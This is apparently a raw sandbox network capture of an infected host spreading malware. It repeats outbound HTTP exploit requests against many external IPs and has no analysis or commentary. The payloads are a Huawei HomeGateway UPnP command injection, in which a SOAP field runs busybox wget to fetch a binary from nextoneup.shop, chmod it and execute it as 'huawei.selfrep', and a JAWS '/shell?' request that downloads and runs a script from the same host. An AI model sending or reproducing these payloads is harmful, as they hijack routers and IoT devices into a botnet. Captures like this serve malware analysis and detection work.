2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g http://nextoneup.shop/ -l /tmp/.hiroshima -r /mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Apr 14, 2024 04:00:26.472177982 CEST	846	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g http://nextoneup.shop/ -l /tmp/.hiroshima -r /mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Apr 14, 2024 04:00:28.743905067 CEST	846	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g http://nextoneup.shop/ -l /tmp/.hiroshima -r /mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Apr 14, 2024 04:00:33.351259947 CEST	846	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g http://nextoneup.shop/ -l /tmp/.hiroshima -r /mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Apr 14, 2024 04:00:42.309978008 CEST	846	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g http://nextoneup.shop/ -l /tmp/.hiroshima -r /mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Apr 14, 2024 04:01:00.483438969 CEST	846	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g http://nextoneup.shop/ -l /tmp/.hiroshima -r /mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Apr 14, 2024 04:01:37.342232943 CEST	846	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g http://nextoneup.shop/ -l /tmp/.hiroshima -r /mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1181	192.168.2.23	40828	74.192.141.13	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:24.478718042 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:25.672445059 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:27.048110008 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:29.767724991 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:35.399000883 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:46.405474901 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:08.674282074 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:53.723929882 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
1182	192.168.2.23	40808	74.192.141.13	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:24.488436937 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:25.672415018 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:27.048094988 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:29.767784119 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:35.399111986 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:46.405467033 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:08.674387932 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:53.723927021 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
1183	192.168.2.23	43622	108.175.123.116	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:24.508933067 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
1184	192.168.2.23	52942	43.240.49.18	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:24.575790882 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:24.898437023 CEST	233	IN	HTTP/1.1 404 Not Found Content-Type: text/html Server: Microsoft-IIS/7.5 X-Powered-By: ASP.NET Date: Sun, 14 Apr 2024 02:00:39 GMT Content-Length: 63 Data Raw: e6 82 a8 e8 a6 81 e6 89 be e7 9a 84 e8 b5 84 e6 ba 90 e5 b7 b2 e8 a2 ab e5 88 a0 e9 99 a4 e3 80 81 e5 b7 b2 e6 9b b4 e5 90 8d e6 88 96 e6 9a 82 e6 97 b6 e4 b8 8d e5 8f af e7 94 a8 e3 80 82 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1185	192.168.2.23	57234	45.207.75.27	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:24.588473082 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
